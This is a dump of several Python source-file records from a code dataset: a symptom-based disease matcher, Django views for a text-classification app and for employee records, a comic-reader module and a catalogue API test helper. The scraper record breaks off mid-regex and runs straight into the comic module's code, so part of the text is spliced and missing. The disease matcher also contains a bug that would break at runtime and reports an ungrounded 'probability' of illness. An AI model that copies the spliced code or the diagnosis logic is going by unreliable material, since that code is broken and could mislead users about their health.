\"dizziness\",\r\n\t]\"\"\"\r\n\r\n\tpotential_diagnosis = []#[[desease,percent]]\r\n\tproba = []#these two are parrallel lists\r\n\twith open('disease.json','r') as f:\r\n\t\tdiseases = json.load(f)\r\n\t\tfor patient_symptom in patient_symptoms:\r\n\t\t\tfor disease in diseases:\r\n\t\t\t\tif patient_symptom in diseases[disease]['symptoms']:\r\n\t\t\t\t\ttotal_symp = len(diseases[disease]['symptoms'])\r\n\t\t\t\t\tprint(\"symptoms\",diseases[disease]['symptoms'])\r\n\t\t\t\t\tif diseases[disease]['disease'] in potential_diagnosis:\r\n\t\t\t\t\t\ti = potential_diagnosis.index(diseases[disease]['disease'])\r\n\t\t\t\t\t\tproba[i] += 1/total_symp\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tpotential_diagnosis.append(diseases[disease]['disease'])\r\n\t\t\t\t\t\tproba.append(1/total_symp)\r\n\t\t\r\n\t\tif proba == []:\r\n\t\t\tj = 0\r\n\t\t\tpotential_diagnosis.append([\"you are maybe exausted\",])\r\n\t\t\tmx = \"?\"\r\n\t\telse:\r\n\t\t\tmx = max(proba)\r\n\t\t\tmx = \"{:.4f}\".format(mx)\r\n\t\t\tj = proba.index(mx)\r\n\t\t#print(potential_diagnosis)\r\n\treturn {\"illness\":potential_diagnosis[j][0],\"probability\":mx}\r\n", "sub_path": "pytorchChatbot/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1140, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "json.load", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "370998831", "text": "import json\nimport pdb\n\nfrom django.contrib.auth import authenticate, login, get_user\nfrom django.contrib.auth import logout\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseRedirect, response\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, get_object_or_404, render_to_response,redirect\nfrom django.db.models import Q\nfrom django.template import RequestContext\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nimport hashlib, time\n\nfrom rest_framework import views\nfrom rest_framework.response import Response\nfrom rest_framework.parsers import JSONParser\n\nfrom TextClassify.processing import *\nfrom rest_framework import viewsets\nfrom TextClassify.serializers import *\nfrom rest_framework.decorators import api_view\n\nfrom .forms import UserForm, FileForm, DocumentForm\nfrom .models import *\n\nAUDIO_FILE_TYPES = ['wav', 'mp3', 'ogg']\nIMAGE_FILE_TYPES = ['png', 'jpg', 'jpeg']\n\ndef home(request):\n return render(request, 'auth/home.html', {})\n\ndef index(request):\n return render(request, 'auth/index_1.html')\n\n\ndef logout_user(request):\n logout(request)\n form = UserForm(request.POST or None)\n context = {\n \"form\": form,\n }\n return render(request, 'auth/login.html', context)\n\n\ndef login_user(request):\n if request.method == \"POST\":\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect('/TextClassify/home/')\n else:\n return render(request, 'auth/login_new.html', {'error_message': 'Your account has been disabled'})\n else:\n return render(request, 'auth/login_new.html', {'error_message': 'Invalid login'})\n return render(request, 'auth/login_new.html')\n\n\ndef register(request):\n form = UserForm(request.POST or None)\n if form.is_valid():\n user = form.save(commit=False)\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n user.set_password(password)\n user.save()\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect('/TextClassify/home/')\n context = {\n \"form\": form,\n }\n return render(request, 'auth/register.html', context)\n\n\n@login_required\ndef user_models(request, login_url='TextClassify:login_user'):\n # Handle file upload\n if request.method == 'POST':\n form = DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n current_user = request.user\n user_email = current_user.email\n hash_data = user_email + str(int(round(time.time() * 1000)))\n\n newdoc = Model(file=request.FILES['docfile'])\n newdoc.user = current_user\n newdoc.file_hash = hashlib.sha256(hash_data.encode('utf-8')).hexdigest()\n newdoc.name = form.cleaned_data['name']\n newdoc.processed = False\n newdoc.save()\n thread = ProcessThread(newdoc)\n thread.start()\n return render(request, 'auth/completed.html')\n else:\n form = DocumentForm()\n\n result = request.user.id\n try:\n results = Model.objects.filter(user=request.user.id).values('name', 'processed', 'result__score')\n except:\n results = None\n return render(request, 'auth/user_models.html', {'results': results, 'form': form})\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\n@api_view(['POST'])\ndef load_model(request):\n if request.user.is_authenticated():\n model_name = request.data['model_id']\n file_obj = request.FILES['file']\n\n current_user = request.user\n user_email = current_user.email\n hash_data = user_email + str(int(round(time.time() * 1000)))\n\n newdoc = Model(file=file_obj)\n newdoc.user = current_user\n newdoc.file_hash = hashlib.sha256(hash_data.encode('utf-8')).hexdigest()\n newdoc.name = model_name\n newdoc.processed = False\n newdoc.save()\n thread = ProcessThread(newdoc)\n thread.start()\n\n return Response(status=204)\n\n\n\n\n\n@api_view(['GET'])\ndef get_result(request):\n if request.user.is_authenticated():\n return render(request, 'auth/index_1.html', {})\n else:\n return render(request, 'auth/index.html',{})\n\n\n@api_view(['POST'])\ndef get_result_post(request):\n if request.user.is_authenticated():\n user_id = request.user.id\n texts = []\n hg = json.loads(request.body.decode(\"utf-8\"))\n for i in hg['data']:\n texts.append(i['text'])\n model = hg['model']\n\n prediction_model = ModelPrediction(model, user_id, texts)\n model_exist = prediction_model.check_model_exist()\n if model_exist:\n estim_path = prediction_model.load_model(model_exist)\n result = prediction_model.predict_class(estim_path)\n\n new = np.array(result).tolist()\n data = {}\n data['model'] = model\n data['predicted'] = new\n json_string = json.dumps(data)\n return JsonResponse(json_string, safe=False)\n else:\n return JsonResponse(status=404, data={'status': 'Permission denied for this model. Check your model_id'})\n else:\n return JsonResponse(status=401, data={'status': 'Non valid authentication credentials'})\n\n", "sub_path": "TextClassify/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5826, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 39, "usage_type": "call"}, {"api_name": "forms.UserForm", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 44, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 54, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 57, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 60, "usage_type": "call"}, {"api_name": "forms.UserForm", "line_number": 64, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "forms.DocumentForm", "line_number": 86, "usage_type": "call"}, {"api_name": "time.time", "line_number": 90, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 94, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 100, "usage_type": "call"}, {"api_name": "forms.DocumentForm", "line_number": 102, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 109, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 82, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 112, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 112, "usage_type": "name"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 129, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 136, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 117, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 145, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 147, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 142, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 155, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 170, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 171, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 173, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 175, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 150, "usage_type": "call"}]} +{"seq_id": "78959709", "text": "from rest_framework.generics import UpdateAPIView\nfrom rest_framework.parsers import FormParser, MultiPartParser\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom employee.model.army import Army, ArmyFile\nfrom employee.model.education import Education, EducationFile\nfrom employee.model.employee import Employee\nfrom employee.model.experience import Experience, ExperienceFile\nfrom employee.model.family import Family, FamilyFile\nfrom employee.model.language import Language, LanguageFile\nfrom employee.model.relative import Relative, RelativeFile\nfrom employee.model.reward import Reward, RewardFile\nfrom log.models import Log\n\n\nclass EmployeeUpdateAPIView(APIView):\n parser_classes = [FormParser, MultiPartParser]\n\n def post(self, request, id):\n data = request.POST\n files = request.FILES\n\n emp = Employee.objects.filter(id=id)\n if not emp.count() == 1:\n return Response(status=404)\n emp = emp[0]\n emp.step_finished = 3\n Log.objects.create(operator=self.request.user.operator, action='created', employee_id=emp.id)\n emp.save()\n amount = int(data.get('amount'))\n if data.get('type') == 'education':\n for i in range(1, amount + 1):\n education = Education()\n education.employee = emp\n education.type_id = data.get('type_%d' % i)\n education.name_ru['current'] = data.get('name_%d' % i)\n education.address_ru['current'] = data.get('address_%d' % i)\n education.specialization_ru['current'] = data.get('specialization_%d' % i)\n education.date_started['current'] = data.get('date_started_%d' % i),\n education.date_finished['current'] = data.get('date_finished_%d' % i)\n education.additional_ru['current'] = data.get('additional_%d' % i)\n education.save()\n for f in files.getlist('file_%d' % i):\n file = EducationFile(education=education, file=f)\n file.save()\n education.file.add(file)\n education.save()\n return Response(data={'success': True})\n elif data.get('type') == 'language':\n for i in range(1, amount + 1):\n language = Language()\n language.employee = emp\n language.language_id = data.get('language_%d' % i)\n language.level['current'] = data.get('level_%d' % i)\n language.is_required_to_check = 1 if data.get('is_required_to_check_%d' % i) else 0\n language.save()\n for f in files.getlist('file_%d' % i):\n file = LanguageFile(language=language, file=f)\n file.save()\n language.file.add(file)\n language.save()\n return Response(data={'success': True})\n elif data.get('type') == 'family':\n for i in range(1, amount + 1):\n family = Family()\n family.employee = emp\n family.status_ru['current'] = data.get('status_%d' % i)\n family.status_en = data.get('status_%d' % i)\n family.children_amount['current'] = data.get('children_amount_%d' % i)\n family.save()\n for f in files.getlist('file_%d' % i):\n file = FamilyFile(family=family, file=f)\n file.save()\n family.file.add(file)\n family.save()\n return Response(data={'success': True})\n elif data.get('type') == 'army':\n for i in range(1, amount + 1):\n emp.military_duty = True\n emp.save()\n army = Army()\n army.employee = emp\n army.name_ru['current'] = data.get('name_%d', i)\n army.region_ru['current'] = data.get('region_%d', i)\n army.specialization_ru['current'] = data.get('specialization_%d' % i)\n army.date_started['current'] = data.get('date_started_%d' % i)\n army.date_finished['current'] = data.get('date_finished_%d' % i)\n army.rank_ru['current'] = data.get('rank_%d' % i)\n if data.get('military_duty'):\n army.military_duty = 1 if data.get('military_duty') else 0\n army.save()\n for f in files.getlist('file_%d' % i):\n file = ArmyFile(army=army, file=f)\n file.save()\n army.file.add(file)\n army.save()\n return Response(data={'success': True})\n elif data.get('type') == 'reward':\n for i in range(1, amount + 1):\n reward = Reward()\n reward.employee = emp\n reward.name_ru['current'] = data.get('name_%d' % i)\n reward.description_ru['current'] = data.get('description_%d' % i)\n reward.save()\n for f in files.getlist('file_%d' % i):\n file = RewardFile(reward=reward, file=f)\n file.save()\n reward.file.add(file)\n reward.save()\n return Response(data={'success': True})\n elif data.get('type') == 'relative':\n for i in range(1, amount + 1):\n relative = Relative()\n relative.employee = emp\n relative.level_ru['current'] = data.get('level_%d' % i)\n relative.level_en = data.get('level_%d' % i)\n relative.fullname_ru['current'] = data.get('fullname_%d' % i)\n relative.birth_date['current'] = data.get('birth_date_%d' % i)\n relative.study_work_place_ru['current'] = data.get('study_work_place_%d' % i)\n relative.position_ru['current'] = data.get('position_%d' % i)\n relative.living_address_ru['current'] = data.get('living_address_%d' % i)\n relative.save()\n for f in files.getlist('file_%d' % i):\n file = RelativeFile(relative=relative, file=f)\n file.save()\n relative.file.add(file)\n relative.save()\n return Response(data={'success': True})\n elif data.get('type') == 'experience':\n for i in range(1, amount + 1):\n experience = Experience()\n experience.employee = emp\n experience.organization_ru['current'] = data.get('organization_%d' % i)\n experience.date_started['current'] = data.get('date_started_%d' % i)\n experience.date_finished['current'] = data.get('date_finished_%d' % i)\n experience.position_ru['current'] = data.get('position_%d' % i)\n experience.sub_division_ru['current'] = data.get('sub_division_%d' % i)\n experience.address_ru['current'] = data.get('address_%d' % i)\n experience.save()\n for f in files.getlist('file_%d' % i):\n file = ExperienceFile(experience=experience, file=f)\n file.save()\n experience.file.add(file)\n experience.save()\n return Response(data={'success': True})\n return Response(data={'success': True})\n", "sub_path": "operators/api/operator3/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7425, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.parsers.FormParser", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.parsers.MultiPartParser", "line_number": 18, "usage_type": "name"}, {"api_name": "employee.model.employee.Employee.objects.filter", "line_number": 24, "usage_type": "call"}, {"api_name": "employee.model.employee.Employee.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "employee.model.employee.Employee", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 26, "usage_type": "call"}, {"api_name": "log.models.Log.objects.create", "line_number": 29, "usage_type": "call"}, {"api_name": "log.models.Log.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "log.models.Log", "line_number": 29, "usage_type": "name"}, {"api_name": "employee.model.education.Education", "line_number": 34, "usage_type": "call"}, {"api_name": "employee.model.education.EducationFile", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 49, "usage_type": "call"}, {"api_name": "employee.model.language.Language", "line_number": 52, "usage_type": "call"}, {"api_name": "employee.model.language.LanguageFile", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 63, "usage_type": "call"}, {"api_name": "employee.model.family.Family", "line_number": 66, "usage_type": "call"}, {"api_name": "employee.model.family.FamilyFile", "line_number": 73, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 77, "usage_type": "call"}, {"api_name": "employee.model.army.Army", "line_number": 82, "usage_type": "call"}, {"api_name": "employee.model.army.ArmyFile", "line_number": 94, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 98, "usage_type": "call"}, {"api_name": "employee.model.reward.Reward", "line_number": 101, "usage_type": "call"}, {"api_name": "employee.model.reward.RewardFile", "line_number": 107, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 111, "usage_type": "call"}, {"api_name": "employee.model.relative.Relative", "line_number": 114, "usage_type": "call"}, {"api_name": "employee.model.relative.RelativeFile", "line_number": 125, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 129, "usage_type": "call"}, {"api_name": "employee.model.experience.Experience", "line_number": 132, "usage_type": "call"}, {"api_name": "employee.model.experience.ExperienceFile", "line_number": 142, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 146, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 147, "usage_type": "call"}]} +{"seq_id": "267020525", "text": "import requests\nimport re\nstring = requests.get(input())\npat = r\"\n\tn = f.count(\"

\")\n\n\treturn n\n\ndef init():\n\t#1 config\n\tif not config.config.has_section(name()):\n\t\tconfig.config.add_section(name())\n\n\tif not config.config.has_option(name(), \"visible\"):\n\t\tconfig.config.set(name(), \"visible\", visible())\n\n\tif not config.config.has_option(name(), \"module_name\"):\n\t\tconfig.config.set(name(), \"module_name\", module_name())\n\n\tconfig.config.set(name(), \"pages_total\", number_of_pages())\n\n\tif not config.config.has_option(name(), \"last_read_page\"):\n\t\tconfig.config.set(name(), \"last_read_page\", \"1\")\n\n\t#2 create comic folder in cache\n\tif not os.path.exists(\"cache/\" + module_name()):\n\t\tos.makedirs(\"cache/\" + module_name())\n\n\t#3 save configuration\n\tconfig.save()\n\ndef de_init():\n\t#1 remove config\n\tconfig.config.remove_section(name())\n\tconfig.save()\n\t#2 remove comic folder in cache\n\tif os.path.exists(\"cache/\" + module_name()):\n\t\tshutil.rmtree(\"cache/\" + module_name())\n\ndef get_last_read_page():\n\tc = config.config.getint(name(), \"last_read_page\")\n\treturn c\n\ndef read_page(text):\n\tn = get_last_read_page()\n\tif text == \"Next\":\n\t\tif not n == number_of_pages():\n\t\t\tconfig.config.set(name(), \"last_read_page\", n + 1)\n\t\t\tconfig.save()\n\telif text == \"Previous\":\n\t\tif not n == 1:\n\t\t\tconfig.config.set(name(), \"last_read_page\", n - 1)\n\t\t\tconfig.save()\n\telse:\n\t\tn = text\n\t\tconfig.config.set(name(), \"last_read_page\", n)\n\t\tconfig.save()", "sub_path": "library/order_of_the_stick.py", "file_name": "order_of_the_stick.py", "file_ext": "py", "file_size_in_byte": 4653, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "config.read", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "urllib.urlretrieve", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 47, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 47, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 49, "usage_type": "call"}, {"api_name": "urllib.urlretrieve", "line_number": 55, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 57, "usage_type": "call"}, {"api_name": "urllib.urlretrieve", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 64, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 64, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 69, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 70, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 80, "usage_type": "call"}, {"api_name": "config.config.has_section", "line_number": 90, "usage_type": "call"}, {"api_name": "config.config", "line_number": 90, "usage_type": "attribute"}, {"api_name": "config.config.add_section", "line_number": 91, "usage_type": "call"}, {"api_name": "config.config", "line_number": 91, "usage_type": "attribute"}, {"api_name": "config.config.has_option", "line_number": 93, "usage_type": "call"}, {"api_name": "config.config", "line_number": 93, "usage_type": "attribute"}, {"api_name": "config.config.set", "line_number": 94, "usage_type": "call"}, {"api_name": "config.config", "line_number": 94, "usage_type": "attribute"}, {"api_name": "config.config.has_option", "line_number": 96, "usage_type": "call"}, {"api_name": "config.config", "line_number": 96, "usage_type": "attribute"}, {"api_name": "config.config.set", "line_number": 97, "usage_type": "call"}, {"api_name": "config.config", "line_number": 97, "usage_type": "attribute"}, {"api_name": "config.config.set", "line_number": 99, "usage_type": "call"}, {"api_name": "config.config", "line_number": 99, "usage_type": "attribute"}, {"api_name": "config.config.has_option", "line_number": 101, "usage_type": "call"}, {"api_name": "config.config", "line_number": 101, "usage_type": "attribute"}, {"api_name": "config.config.set", "line_number": 102, "usage_type": "call"}, {"api_name": "config.config", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 106, "usage_type": "call"}, {"api_name": "config.save", "line_number": 109, "usage_type": "call"}, {"api_name": "config.config.remove_section", "line_number": 113, "usage_type": "call"}, {"api_name": "config.config", "line_number": 113, "usage_type": "attribute"}, {"api_name": "config.save", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 117, "usage_type": "call"}, {"api_name": "config.config.getint", "line_number": 120, "usage_type": "call"}, {"api_name": "config.config", "line_number": 120, "usage_type": "attribute"}, {"api_name": "config.config.set", "line_number": 127, "usage_type": "call"}, {"api_name": "config.config", "line_number": 127, "usage_type": "attribute"}, {"api_name": "config.save", "line_number": 128, "usage_type": "call"}, {"api_name": "config.config.set", "line_number": 131, "usage_type": "call"}, {"api_name": "config.config", "line_number": 131, "usage_type": "attribute"}, {"api_name": "config.save", "line_number": 132, "usage_type": "call"}, {"api_name": "config.config.set", "line_number": 135, "usage_type": "call"}, {"api_name": "config.config", "line_number": 135, "usage_type": "attribute"}, {"api_name": "config.save", "line_number": 136, "usage_type": "call"}]} +{"seq_id": "30432182", "text": "# -*- coding: utf-8 -*-\n__author__ = 'ivanl@tid.es'\n\nfrom lettuce import world\nfrom tools import body_message\nimport utils\nimport http\n\n\nclass CatalogueRequest:\n \"\"\"\n Manage products and releases in a catalogue.\n \"\"\"\n catalogURL = \"catalog/product\"\n\n #Bodies\n ADD_PRODUCT_BODY = \"\"\n ADD_PRODUCT_RELEASE_BODY = \"\"\n\n def __init__(self, keystone_url, paas_manager_url, tenant, user, password, vdc, sdc_url):\n \"\"\"\n constructor\n \"\"\"\n self.paasmanager_url = paas_manager_url\n self.sdc_url = sdc_url\n self.vdc = vdc\n self.keystone_url = keystone_url\n\n self.user = user\n self.password = password\n self.tenant = tenant\n\n self.token = self.__get__token()\n\n def __init_ADD_PRODUCT_Body(self, content):\n \"\"\"\n initializes add product body\n :param content: \"xml\" or \"json\"\n \"\"\"\n if content == 'xml':\n self.ADD_PRODUCT_BODY = ' '\n elif content == 'json':\n self.ADD_PRODUCT_BODY = '{}'\n\n def __init_ADD_PRODUCT_RELEASE_Body(self, content):\n \"\"\"\n initializes add product release body\n :param content: \"xml\" or \"json\"\n \"\"\"\n if content == 'xml':\n self.ADD_PRODUCT_RELEASE_BODY = ''\n elif content == 'json':\n self.ADD_PRODUCT_RELEASE_BODY = '{}'\n\n def __get__token(self):\n \"\"\"\n get token\n :return: token\n \"\"\"\n return http.get_token(self.keystone_url + '/tokens', self.tenant, self.user, self.password)\n\n def __get__url (self, operation, product, version=None):\n \"\"\"\n return URL for each operation\n :param operation:\n :param product:\n :param version:\n :return:\n \"\"\"\n if operation == \"getProductList\" or operation == \"addProduct\":\n return \"%s/%s\" % (self.sdc_url, self.catalogURL)\n elif operation == \"getDetails\" or operation == \"deleteProduct\":\n return \"%s/%s/%s\" % (self.sdc_url, self.catalogURL, product)\n elif operation == \"getAttributes\":\n return \"%s/%s/%s/%s\" % (self.sdc_url, self.catalogURL, product, \"attributes\")\n elif operation == \"getMetadatas\":\n return \"%s/%s/%s/%s\" % (self.sdc_url, self.catalogURL, product, \"metadatas\")\n elif operation == \"addProductRelease\" or operation == \"getProductReleaseList\":\n return \"%s/%s/%s/%s\" % (self.sdc_url, self.catalogURL, product, \"release\")\n elif operation == \"deleteProductRelease\" or operation == \"getProductReleaseDetails\":\n return \"%s/%s/%s/%s/%s\" % (self.sdc_url, self.catalogURL, product, \"release\", version)\n\n def __get__headers(self, content=\"xml\"):\n \"\"\"\n return header\n :param Accept: :param content: \"xml\" or \"json\"\n :return:\n \"\"\"\n contentAccept = content\n contentType = content\n if content == \"error in Accept\":\n contentAccept = \"sdfdfsdf\"\n contentType = \"xml\"\n if content == \"error in Content-Type\":\n contentType = \"sdfdfsdf\"\n contentAccept = \"xml\"\n return {'X-Auth-Token': self.token, 'Tenant-Id': self.vdc, 'Accept': \"application/\"+contentAccept, \"Content-Type\":\"application/\"+contentType}\n\n def __request(self, method, url, headers, body, error):\n \"\"\"\n Launch a request and returns its response\n :param method: method used ex: POST, GET, DELETE, etc\n :param url: :/\n :param headers: headers used\n :param body: body in case of POST method\n :param error: error types\n :return: response\n \"\"\"\n headers['X-Auth-Token'] = utils.errorLabel (headers['X-Auth-Token'], error)\n url = utils.errorUrl(url, error)\n\n if error == \"GET\" or error == \"PUT\" or error == \"POST\" or error == \"DELETE\":\n method = error\n\n if method == \"GET\":\n response = http.get(url, headers)\n elif method == \"POST\":\n response = http.post(url, headers, body)\n elif method == \"PUT\":\n response = http.put(url, headers, body)\n elif method == \"DELETE\":\n response = http.delete(url, headers)\n\n #utils.printRequest(method,url,headers,body) # show request\n #utils.printResponse(response) # show response\n return response\n\n def __set_body_name (self, product, content):\n \"\"\"\n add name and description before the end marker of request\n :param product: product name\n :param content:\n \"\"\"\n element_1 = {'label': 'name', 'value': product}\n element_2 = {'label': 'description', 'value': \"Product only for test\"}\n self.ADD_PRODUCT_BODY = utils.body_oneElement (self.ADD_PRODUCT_BODY, element_1, 'addProduct', content)\n self.ADD_PRODUCT_BODY = utils.body_oneElement (self.ADD_PRODUCT_BODY, element_2, 'addProduct', content)\n\n def __set_body_attributes (self, content):\n \"\"\"\n add attribute before the end marker of request\n :param content: \"xml\" or \"json\"\n \"\"\"\n for id in range(0, len(body_message.ATTRIBUTES)):\n self.ADD_PRODUCT_BODY = utils.body_elements(self.ADD_PRODUCT_BODY, body_message.ATTRIBUTES[id], \"attributes\", \"addProduct\", content)\n\n def __set_body_metadata (self, meta, value, content):\n \"\"\"\n add metadata before the end marker of request\n :param meta: label for metadata (key)\n :param value: value for metadata\n :param content: \"xml\" or \"json\"\n \"\"\"\n if meta == \"all\": metadata = body_message.ALL_METADATAS\n else:\n key = meta[len(\"metadata_\"):]\n metadata = [[{'label': 'key', 'value': key}, {'label': 'value', 'value': value}]]\n for id in range(0, len(metadata)):\n self.ADD_PRODUCT_BODY = utils.body_elements(self.ADD_PRODUCT_BODY, metadata[id], \"metadatas\", \"addProduct\", content)\n\n def __create_body_add (self, product, label, metadataValue, content):\n \"\"\"\n Create body to Add request\n :param product:\n :param label:\n :param metadataValue:\n :param content:\n \"\"\"\n self.__set_body_name(product, content)\n if label == \"attributes\" or label == \"attributes_and_all_metadatas\":\n self.__set_body_attributes(content)\n if label == \"attributes_and_all_metadatas\":\n self.__set_body_metadata(\"all\", None, content)\n elif label.find(\"metadata_\") == 0:\n self.__set_body_metadata(label, metadataValue, content)\n\n def __create_body_release (self, version, description, content):\n \"\"\"\n Create body to release request\n :param version:\n :param description:\n :param content:\n \"\"\"\n element_1 = {'label': 'version', 'value': version}\n element_2 = {'label': 'releaseNotes', 'value': \"version only for test\"}\n\n self.ADD_PRODUCT_RELEASE_BODY = utils.body_oneElement (self.ADD_PRODUCT_RELEASE_BODY, element_1, 'addProductRelease', content)\n self.ADD_PRODUCT_RELEASE_BODY = utils.body_oneElement (self.ADD_PRODUCT_RELEASE_BODY, element_2, 'addProductRelease', content)\n\n def catalogue_getProductInfo(self, searchType, product, errorType, content):\n \"\"\"\n List all products in catalogue\n Returns all details of a Product\n Returns all attributes of a Product\n Delete an existent product\n\n :param method: define which protocol method are using\n :param product: define the product used\n :param errorType: definition of several error caused. Ex: Not Found, bad Method, unauthorized, etc.\n \"\"\"\n world.response = self.__request(\"GET\", self.__get__url(searchType,product),self.__get__headers(content), None, errorType)\n\n def catalogue_addProduct(self, product, label, metadataValue, errorType, content):\n \"\"\"\n Add a new product in catalogue\n :param method: define which protocol method are using\n :param product: product name that it will created\n :param metadataValue: In case that you are adding metadatas, it is for the value metadata\n :param errorType: definition of several error caused. Ex: Not Found, bad Method, unauthorized, etc.\n \"\"\"\n self.__init_ADD_PRODUCT_Body(content)\n if label != \"Without Name Label\":\n self. __create_body_add(product, label, metadataValue, content)\n\n world.response = self.__request(\"POST\", self.__get__url(\"addProduct\", None),self.__get__headers(content), self.ADD_PRODUCT_BODY, errorType)\n\n def catalogue_deleteProduct(self, product, content, errorType):\n \"\"\"\n Delete a product in catalogue\n\n :param method: define which protocol method are using\n :param errorType: definition of several error caused. Ex: Not Found, bad Method, unauthorized, etc.\n \"\"\"\n world.response = self.__request(\"DELETE\", self.__get__url(\"deleteProduct\", product, None),self.__get__headers(content), None, errorType)\n\n def catalogue_addProductRelease (self, product, version, description, errorType, content):\n \"\"\"\n add a new release to product\n :param product:\n :param version:\n :param description:\n :param errorType:\n :param content:\n \"\"\"\n self.__init_ADD_PRODUCT_RELEASE_Body(content)\n if version is not None:\n self.__create_body_release(version, description, content)\n\n world.response = self.__request(\"POST\", self.__get__url(\"addProductRelease\", product),self.__get__headers(content), self.ADD_PRODUCT_RELEASE_BODY, errorType)\n\n def catalogue_deleteProductRelease (self, product, version, errorType):\n \"\"\"\n launch a request to delete a product releases\n :param product:\n :param version:\n :param errorType:\n \"\"\"\n world.response = self.__request(\"DELETE\", self.__get__url(\"deleteProductRelease\", product, version),self.__get__headers(), None, errorType)\n\n def catalogue_getProductReleaseInfo(self, searchType, product, version, errorType, Accept):\n \"\"\"\n launch a request to list all product releases or only one product release\n :param searchType:\n :param product:\n :param version:\n :param errorType:\n :param Accept:\n \"\"\"\n world.response = self.__request(\"GET\", self.__get__url(searchType,product, version),self.__get__headers(searchType, Accept), None, errorType)\n\n def get_body_expected(self, response_type, operation):\n 